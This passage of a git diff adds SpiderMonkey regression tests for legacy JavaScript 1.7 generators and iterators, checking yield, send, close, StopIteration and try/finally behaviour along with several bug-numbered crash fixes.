+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/gen-with-call-obj.js b/js/src/tests/js1_7/geniter/gen-with-call-obj.js
new file mode 100644
index 000000000..90c6f09c5
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/gen-with-call-obj.js
@@ -0,0 +1,36 @@
+var foo;
+
+function gen() {
+ var x = 0;
+ foo = function() { return x++; }
+ for (var i = 0; i < 10; ++i)
+ yield x++;
+}
+
+var j = 0;
+for (i in gen())
+ assertEq(i, j++);
+
+// now mess up the stack
+
+function f1(x) {
+ var a, b, c, d, e, f, g;
+ return x <= 0 ? 0 : f1(x-1);
+}
+f1(10);
+function f2(x) {
+ var a = x, b = x;
+ return x <= 0 ? 0 : f2(x-1);
+}
+f2(10);
+
+// now observe gen's call object (which should have been put)
+
+gc();
+assertEq(foo(), 10);
+gc();
+assertEq(foo(), 11);
+gc();
+assertEq(foo(), 12);
+
+reportCompare(true,true);
diff --git a/js/src/tests/js1_7/geniter/iterator-toString.js b/js/src/tests/js1_7/geniter/iterator-toString.js
new file mode 100644
index 000000000..686ec0c8b
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/iterator-toString.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "gen.toString() omitting 'yield' from value";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function gen()
+{
+ yield 17;
+}
+
+try
+{
+ var str = gen.toString();
+ var index = str.search(/yield/);
+
+ if (index < 0)
+ throw "yield not found in str: " + str;
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/message-value-passing.js b/js/src/tests/js1_7/geniter/message-value-passing.js
new file mode 100644
index 000000000..626c788be
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/message-value-passing.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466;
+var summary = "Generator value/exception passing";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function gen()
+{
+ var rv, rv2, rv3, rv4;
+ rv = yield 1;
+
+ if (rv)
+ rv2 = yield rv;
+ else
+ rv3 = yield 2;
+
+ try
+ {
+ if (rv2)
+ yield rv2;
+ else
+ rv3 = yield 3;
+ }
+ catch (e)
+ {
+ if (e == 289)
+ yield "exception caught";
+ }
+
+ yield 5;
+}
+
+var failed = false;
+var it = gen();
+
+try
+{
+ if (it.next() != 1)
+ throw "failed on 1";
+
+ if (it.send(17) != 17)
+ throw "failed on 17";
+
+ if (it.next() != 3)
+ throw "failed on 3";
+
+ if (it.throw(289) != "exception caught")
+ throw "it.throw(289) failed";
+
+ if (it.next() != 5)
+ throw "failed on 5";
+
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/multiple-close.js b/js/src/tests/js1_7/geniter/multiple-close.js
new file mode 100644
index 000000000..7864459ef
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/multiple-close.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "calling it.close multiple times is harmless";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function fib()
+{
+ yield 0; // 0
+ yield 1; // 1
+ yield 1; // 2
+ yield 2; // 3
+ yield 3; // 4
+ yield 5; // 5
+ yield 8; // 6
+}
+
+var failed = false;
+var it = fib();
+
+try
+{
+ if (it.next() != 0)
+ throw "0 failed";
+
+ // closing an already-closed generator is a no-op
+ it.close();
+ it.close();
+ it.close();
+
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+ if (!stopPassed)
+ throw "a closed iterator throws StopIteration on next";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/nested-yield.js b/js/src/tests/js1_7/geniter/nested-yield.js
new file mode 100644
index 000000000..a5a1bf59e
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/nested-yield.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "YieldExpression is and contains an AssignmentExpression";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function gen()
+{
+ yield (yield (yield 7));
+}
+
+var it = gen();
+
+try
+{
+ if (it.next() != 7)
+ throw "7 not yielded";
+ if (it.send(17) != 17)
+ throw "passed-in 17 not yielded";
+ if (it.send(undefined) !== undefined)
+ throw "should be able to yield undefined";
+
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "it: missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/pi-generator.js b/js/src/tests/js1_7/geniter/pi-generator.js
new file mode 100644
index 000000000..5be593ab4
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/pi-generator.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "A (slow) generator of pi";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function pi()
+{
+ var val = 0;
+ var curr = 1;
+ var isNeg = false;
+ while (true)
+ {
+ if (isNeg)
+ yield val -= 4/curr;
+ else
+ yield val += 4/curr;
+ curr += 2;
+ isNeg = !isNeg;
+ }
+}
+
+var failed = false;
+var it = pi();
+
+var vals =
+ [4,
+ 4 - 4/3,
+ 4 - 4/3 + 4/5,
+ 4 - 4/3 + 4/5 - 4/7];
+
+try
+{
+ for (var i = 0, sz = vals.length; i < sz; i++)
+ if (it.next() != vals[i])
+ throw vals[i];
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/regress-345855.js b/js/src/tests/js1_7/geniter/regress-345855.js
new file mode 100644
index 000000000..a88ccd440
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-345855.js
@@ -0,0 +1,93 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345855;
+var summary = 'Blank yield expressions are not syntax errors';
+var actual = '';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "SyntaxError";
+ try
+ {
+ eval('(function() {x = 12 + yield;})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function() {x = 12 + yield;}');
+
+ expect = "SyntaxError";
+ try
+ {
+ eval('(function() {x = 12 + yield 42})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function() {x = 12 + yield 42}');
+
+ expect = 'No Error';
+ try
+ {
+ eval('(function() {x = 12 + (yield);})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function() {x = 12 + (yield);}');
+
+ try
+ {
+ eval('(function () {foo((yield))})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function () {foo((yield))}');
+
+ try
+ {
+ eval('(function() {x = 12 + (yield 42)})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function() {x = 12 + (yield 42)}');
+
+ try
+ {
+ eval('(function (){foo((yield 42))})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function (){foo((yield 42))}');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-345879-01.js b/js/src/tests/js1_7/geniter/regress-345879-01.js
new file mode 100644
index 000000000..540852a23
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-345879-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345879;
+var summary = 'Crash when calling a function from a generator with less arguments than its arity ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen() {
+ yield isNaN();
+ }
+
+ f = gen();
+ f.next();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-345879-02.js b/js/src/tests/js1_7/geniter/regress-345879-02.js
new file mode 100644
index 000000000..aec3d81a1
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-345879-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345879;
+var summary = 'Crash when calling a function from a generator with less arguments than its arity ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen() {
+ (yield 5)();
+ yield;
+ }
+ f = gen();
+ f.next();
+ f.send(Function());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-347593.js b/js/src/tests/js1_7/geniter/regress-347593.js
new file mode 100644
index 000000000..353d9412c
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-347593.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 347593;
+var summary = 'For-each loop with destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected result was '23'.
+ expect = 'TypeError';
+ actual = '';
+ try {
+ for (let [, { a: b }] in [{ a: 2 }, { a: 3 }]) {
+ actual += b;
+ }
+ reportCompare(expect, actual, summary);
+ } catch (ex) {
+ actual = ex.name;
+ }
+
+ expect = '23';
+ actual = '';
+ for each (let { a: b } in [{ a: 2 }, { a: 3 }])
+ {
+ actual += b;
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'TypeError';
+ actual = '';
+ try
+ {
+ for each (let [, { a: b }] in [{ a: 2 }, { a: 3 }])
+ {
+ actual += b;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-347739.js b/js/src/tests/js1_7/geniter/regress-347739.js
new file mode 100644
index 000000000..46c749ec7
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-347739.js
@@ -0,0 +1,49 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 347739;
+var summary = 'generator_instance.close readonly and immune';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen_test(test_index)
+ {
+ try {
+ yield 1;
+ } finally {
+ actual += "Inside finally: "+test_index + ' ';
+ }
+ }
+
+ actual = '';
+ expect = 'Inside finally: 1 Inside finally: 2 ';
+
+ var iter1 = gen_test(1);
+ iter1.next();
+ iter1.close = null;
+ iter1 = null;
+ gc();
+
+ var iter2 = gen_test(2);
+ for (i in iter2)
+ iter2.close = null;
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349012-01.js b/js/src/tests/js1_7/geniter/regress-349012-01.js
new file mode 100644
index 000000000..297b03732
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349012-01.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349012;
+var summary = 'closing a generator fails to report error if yield during close is ignored';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+if (typeof quit != 'undefined')
+{
+ quit(0);
+}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "Inner finally,Outer finally";
+
+ function gen()
+ {
+ try {
+ try {
+ yield 1;
+ } finally {
+ actual += "Inner finally";
+ yield 2;
+ }
+ } finally {
+ actual += ",Outer finally";
+ }
+ }
+
+ var iter = gen();
+ iter.next();
+ iter = null;
+ gc();
+
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349012-02.js b/js/src/tests/js1_7/geniter/regress-349012-02.js
new file mode 100644
index 000000000..5c78423cd
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349012-02.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349012;
+var summary = 'generators with nested try finally blocks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "[object StopIteration]";
+ var expectyield = "12";
+ var expectfinally = "Inner finally,Outer finally";
+ var actualyield = "";
+ var actualfinally = "";
+
+ function gen()
+ {
+ try {
+ try {
+ yield 1;
+ } finally {
+ actualfinally += "Inner finally";
+ yield 2;
+ }
+ } finally {
+ actualfinally += ",Outer finally";
+ }
+ }
+
+ var iter = gen();
+ actualyield += iter.next();
+ actualyield += iter.next();
+ try
+ {
+ actualyield += iter.next();
+ actual = "No exception";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+ reportCompare(expectyield, actualyield, summary);
+ reportCompare(expectfinally, actualfinally, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349012-03.js b/js/src/tests/js1_7/geniter/regress-349012-03.js
new file mode 100644
index 000000000..4d1747597
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349012-03.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349012;
+var summary = 'generator recursively calling itself via send is a TypeError';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen() {
+ var iter = yield;
+ try {
+ iter.send(1);
+ } catch (e) {
+ yield e;
+ }
+ }
+
+ expect = true;
+ var iter = gen();
+ iter.next();
+ var ex = iter.send(iter);
+ print(ex + '');
+ actual = (ex instanceof TypeError);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349012-04.js b/js/src/tests/js1_7/geniter/regress-349012-04.js
new file mode 100644
index 000000000..705bbd909
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349012-04.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349012;
+var summary = 'generator recursively calling itself via next is an Error';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen() {
+ var iter = yield;
+ try {
+ iter.next(1);
+ } catch (e) {
+ yield e;
+ }
+ }
+
+ expect = true;
+ var iter = gen();
+ iter.next();
+ var ex = iter.send(iter);
+ print(ex + '');
+ actual = (ex instanceof TypeError);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349012-05.js b/js/src/tests/js1_7/geniter/regress-349012-05.js
new file mode 100644
index 000000000..5eb442b9a
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349012-05.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349012;
+var summary = 'generator recursively calling itself via close is an Error';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var iter;
+ function gen() {
+ iter.close();
+ yield 1;
+ }
+
+ expect = /TypeError.*[aA]lready executing generator/;
+ try
+ {
+ iter = gen();
+ var i = iter.next();
+ print("i="+i);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349023-01.js b/js/src/tests/js1_7/geniter/regress-349023-01.js
new file mode 100644
index 000000000..3eab5eb94
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349023-01.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349023;
+var summary = 'Bogus JSCLASS_IS_EXTENDED in the generator class';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen() {
+ var i = 0;
+ yield i;
+ }
+
+ try
+ {
+ var g = gen();
+ for (var i = 0; i < 10; i++) {
+ print(g.next());
+ }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349023-02.js b/js/src/tests/js1_7/geniter/regress-349023-02.js
new file mode 100644
index 000000000..25bde697c
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349023-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349023;
+var summary = 'Bogus JSCLASS_IS_EXTENDED in the generator class';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var gen = (function() { yield 3; })();
+ gen.foopy;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349023-03.js b/js/src/tests/js1_7/geniter/regress-349023-03.js
new file mode 100644
index 000000000..26201061d
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349023-03.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349023;
+var summary = 'Bogus JSCLASS_IS_EXTENDED in the generator class';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var gen = (function() { yield 3; })();
+ var x = (gen ==gen);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349331.js b/js/src/tests/js1_7/geniter/regress-349331.js
new file mode 100644
index 000000000..091fbb1f0
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349331.js
@@ -0,0 +1,95 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349331;
+var summary = 'generator.close without GeneratorExit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var catch1, catch2, catch3, finally1, finally2, finally3;
+ var iter;
+
+ function gen()
+ {
+ yield 1;
+ try {
+ try {
+ try {
+ yield 1;
+ } catch (e) {
+ catch1 = true;
+ } finally {
+ finally1 = true;
+ }
+ } catch (e) {
+ catch2 = true;
+ } finally {
+ finally2 = true;
+ }
+ } catch (e) {
+ catch3 = true;
+ } finally {
+ finally3 = true;
+ }
+ }
+
+// test explicit close call
+ catch1 = catch2 = catch3 = finally1 = finally2 = finally3 = false;
+ iter = gen();
+ iter.next();
+ iter.next();
+ iter.close();
+
+ var passed = !catch1 && !catch2 && !catch3 && finally1 && finally2 &&
+ finally3;
+
+ if (!passed) {
+ print("Failed!");
+ print("catch1=" + catch1 + " catch2=" + catch2 + " catch3=" +
+ catch3);
+ print("finally1=" + finally1 + " finally2=" + finally2 +
+ " finally3=" + finally3);
+ }
+
+ reportCompare(true, passed, 'test explicit close call');
+
+// test GC-invoked close
+ catch1 = catch2 = catch3 = finally1 = finally2 = finally3 = false;
+ iter = gen();
+ iter.next();
+ iter.next();
+ iter = null;
+ gc();
+ gc();
+
+ var passed = !catch1 && !catch2 && !catch3 && finally1 && finally2 &&
+ finally3;
+
+ if (!passed) {
+ print("Failed!");
+ print("catch1=" + catch1 + " catch2=" + catch2 + " catch3=" +
+ catch3);
+ print("finally1=" + finally1 + " finally2=" + finally2 +
+ " finally3="+finally3);
+ }
+ reportCompare(true, passed, 'test GC-invoke close');
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349362.js b/js/src/tests/js1_7/geniter/regress-349362.js
new file mode 100644
index 000000000..e87c25d16
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349362.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349362;
+var summary = 'generator toString should be [object Generator]';
+var actual = '';
+var expect = '[object Generator]';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var y = function(){ yield 3};
+ actual = y().toString();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-349851.js b/js/src/tests/js1_7/geniter/regress-349851.js
new file mode 100644
index 000000000..efd4ee626
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-349851.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349851;
+var summary = 'decompilation of yield \\n, 3';
+var actual = '';
+var expect = 'SyntaxError';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // note the newline after yield is required for this test
+ try
+ {
+ var f = eval('function(){ yield \n,3 }');
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-350621.js b/js/src/tests/js1_7/geniter/regress-350621.js
new file mode 100644
index 000000000..60d7d5491
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-350621.js
@@ -0,0 +1,63 @@
